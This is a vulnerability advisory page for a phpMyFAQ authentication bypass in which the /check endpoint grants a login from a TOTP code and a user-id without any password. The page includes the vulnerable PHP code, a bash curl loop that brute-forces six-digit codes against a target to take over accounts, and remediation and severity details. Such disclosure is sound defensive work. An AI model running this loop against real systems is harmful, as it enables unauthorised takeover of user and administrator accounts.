Loading...
Skip to main content

CVE-2026-56737 — Vulnerability in phpmyfaq/phpmyfaq — CVE Details

HIGH

phpMyFAQ's two-factor authentication login bypasses the password factor

Published September 24, 2026Updated September 24, 2026Source: osv

Summary

### Summary The public two-factor verification endpoint `POST /check` logs a user in based **solely** on a valid 6-digit TOTP token and a chosen `user-id`. It does **not** require — and is not bound to — a prior successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker can authenticate **without knowing the password**, reducing the account to a single factor (a 6-digit code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an authentication bypass of the primary credential for all 2FA-protected accounts, including administrators. ### Details `src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283`: ```php #[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { if ($this->currentUser->isLoggedIn()) { return new RedirectResponse(url: './'); } $token = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS); $userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT); if ($userId <= 0) { /* ... */ } $this->currentUserService->getUserById($userId); // loads attacker-chosen user if (strlen((string) $token) === 6) { $result = $this->twoFactor->validateToken($token, $userId); if ($result) { $this->currentUserService->twoFactorSuccess(); // full login, no password ever checked return new RedirectResponse(url: './'); } } // ... } ``` `twoFactorSuccess()` performs a complete session login (`src/phpMyFAQ/User/CurrentUser.php:239-247`): ```php public function twoFactorSuccess(): bool { $this->setLoggedIn(true); $this->updateSessionId(true); $this->saveToSession(); $this->setSuccess(true); return true; } ``` There is **no server-side state** (such as a "password already verified for this user" flag) tying the `/check` step to the password step. Compare the admin flow, which does it correctly via a `2fa_pending_user_id` session value set only **after** the password is validated (`src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262`) — proving the frontend omission is a regression, not an intended design. `validateToken()` (`src/phpMyFAQ/User/TwoFactor.php:87-101`) returns `false` when the user has no secret, so this is *not* a universal bypass of all accounts — it specifically defeats the **password factor of every 2FA-enabled account**: ```php public function validateToken(string $token, int $userId): bool { if (strlen($token) !== 6 || $userId <= 0) { return false; } $this->currentUser->getUserById($userId); $secret = $this->currentUser->getUserData('secret'); if (!is_string($secret) || $secret === '') { return false; } // no 2FA -> false return $this->twoFactorAuth->verifyCode($secret, $token); // 6-digit TOTP only } ``` Because `/check` has no failed-attempt lockout and the per-account login throttle is disabled by default (Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to *strengthen* the password, becomes the *only* barrier and is independently guessable. ### PoC Pre-req: a target account (e.g. `admin`) has 2FA enabled (a common hardening choice). The attacker knows or enumerates the numeric `user-id` (1 = first/admin account in default installs). ```bash # No password required. Submit user-id + a 6-digit TOTP guess to /check. # Iterate the token space; the session cookie returned on success is an authenticated session. for code in $(seq -w 0 999999); do curl -ks -c jar.txt -b jar.txt \ -X POST "https://target/check" \ --data-urlencode "user-id=1" \ --data-urlencode "token=$(printf '%06d' 10#$code)" \ -o /dev/null -w "%{http_code} %{redirect_url}\n" \ | grep -q './' && echo "[+] logged in with token $code" && break done # A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used). ``` If the attacker already controls or has phished the victim's TOTP device, a single request authenticates with no password at all. ### Impact Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password — the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout, this enables full account takeover of users and administrators. Impacted: any deployment where users enable two-factor authentication.

Advisory Timeline

  • First published September 24, 2026 (18 days ago).
  • Last revised September 24, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update phpmyfaq/phpmyfaq to 4.1.6 or later
composer require "phpmyfaq/phpmyfaq:^4.1.6"
Composer
Update thorsten/phpmyfaq to 4.1.6 or later
composer require "thorsten/phpmyfaq:^4.1.6"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

Affects 1 ecosystem: packagist (2).

PackageEcosystemAffectedFixed In
phpmyfaq/phpmyfaq
packagist
3.2.0, 3.2.1, 3.2.10, 3.2.2 (+54 more)4.1.6
thorsten/phpmyfaq
packagist
3.2.0, 3.2.1, 3.2.10, 3.2.2 (+54 more)4.1.6

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-287
    Improper AuthenticationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-56737?
phpMyFAQ's two-factor authentication login bypasses the password factor This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.1/10).
How do I check if my project is affected by CVE-2026-56737?
CVE-2026-56737 affects phpmyfaq/phpmyfaq and thorsten/phpmyfaq. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-56737 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.1

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-8gpw-xvpf-hvx5

Related CVEs

  • CVE-2026-46364
    CRITICAL

    phpMyFAQ has unauthenticated SQL injection via User-Agent header in BuiltinCaptcha

  • CVE-2026-45010
    CRITICAL

    phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id

  • CVE-2026-56396
    HIGH

    phpMyFAQ has an incomplete fix for GHSA-xvp4-phqj-cjr3 — editUser() and updateUserRights() lack authorization guards

  • CVE-2026-35676
    HIGH

    phpMyFAQ: Unauthenticated Password Reset Endpoint Allows User Enumeration and Forced Password Change Without Token Validation

  • CVE-2026-57995
    HIGH

    phpMyFAQ privilege escalation: GroupController::updatePermissions lets a GROUP_EDIT admin grant rights they do not hold

  • CVE-2026-56736
    HIGH

    phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission

  • CVE-2026-35675
    HIGH

    phpMyFAQ: Missing Password Reset Token Allows Account Takeover via Username/Email Enumeration

  • CVE-2026-32629
    MEDIUM

    phpMyFAQ is Vulnerable to Stored XSS via Unsanitized Email Field in Admin FAQ Editor

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies